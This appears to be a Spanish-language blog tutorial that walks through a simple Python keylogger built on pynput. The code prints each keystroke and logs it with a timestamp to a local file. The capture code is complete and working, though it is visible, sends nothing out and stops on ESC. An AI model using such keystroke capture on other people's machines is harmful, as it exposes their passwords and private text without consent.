Keylogger simple con python

Hola Hackers!
Hoy vamos a hacer un keylogger simple con python muy rápido y fácil.

Para esto vamos a utilizar la librería pynput para capturar los eventos del teclado: ¿Como instalar pynput?

Bueno, y que es un keylogger? Básicamente un keylogger como su nombre lo dice key=tecla, logger=registrador, es un software (en este caso) encargado de capturar los eventos del teclado y procesarlos, en nuestro caso, lo guardaremos en un archivo de texto.

from pynput import keyboard

def on_press(key):
    if key == keyboard.Key.esc:
        print("Finish capture")
        raise    

    try:
        print('alphanumeric key {0} pressed'.format(
            key.char))
 
    except AttributeError:
        print('special key {0} pressed'.format(
            key))



with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

Vamos con el código de nuestro capturador de eventos.

Para empezar importamos la librería keyboard de pynput, el cual ya tiene toda la funcionalidad necesaria para nuestro capturador de eventos.

from pynput import keyboard

Posteriormente definimos nuestro handler de eventos, básicamente es una función que va a recibir el argumento key y imprimirá su valor en pantalla, y tambien le agregamos la logica para terminar el programa si precionamos la tecla ESC, sera llamado por un keyboard.Listener

def on_press(key):
    if key == keyboard.Key.esc:
        print("Finish capture")
        raise    
    try:
        print('alphanumeric key {0} pressed'.format(
         key.char))
    except AttributeError:
        print('special key {0} pressed'.format(
key))

Y finalmente definimos nuestro Listener, y lanzamos un thread con linester.start() ésto lo que hará será llamar a on_press cada vez que se pulse una tecla en nuestra computadora

with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

Y así se veria nuestro programa:

Bien, ahora vamos a escribir el codigo de nuestro logger, que seria la funcionalidad encargada de almacenar la información de forma ordenada.

Para estó utilizaremos el modulo loggin de python.

import logging
logging.basicConfig( level=logging.DEBUG, filename='keylogger.log', format='%(asctime)s - %(message)s')

Creamos la funcion key_loger:

def key_logger(value):
    logging.info(value)

Modificamos nuestra funcion on_press para que quede de la siguiente manera:

def on_press(key):
    if key == keyboard.Key.esc:
        print("Finish capture")
        raise    
    key_value = None
    try:
        print('alphanumeric key {0} pressed'.format(
            key.char))
        key_value = key.char
    except AttributeError:
        print('special key {0} pressed'.format(
            key))
        key_value = key
    key_logger(key_value)

Lanzamos nuestra aplicacion y podemos ver como se almacena la infomación.

Y por aquí dejo el código completo para que sean felices!

from pynput import keyboard

import logging
logging.basicConfig( level=logging.DEBUG, filename='keylogger.log', format='%(asctime)s - %(message)s')

def key_logger(value):
    logging.info(value)

def on_press(key):
    if key == keyboard.Key.esc:
        print("Finish capture")
        raise    
    key_value = None
    try:
        print('alphanumeric key {0} pressed'.format(
            key.char))
        key_value = key.char
    except AttributeError:
        print('special key {0} pressed'.format(
            key))
        key_value = key
    key_logger(key_value)


with keyboard.Listener(on_press=on_press) as listener:
    listener.join()

Y ya tenemos listo nuestro keylogger simple con python!

No se olviden de comentar!

Deja un comentario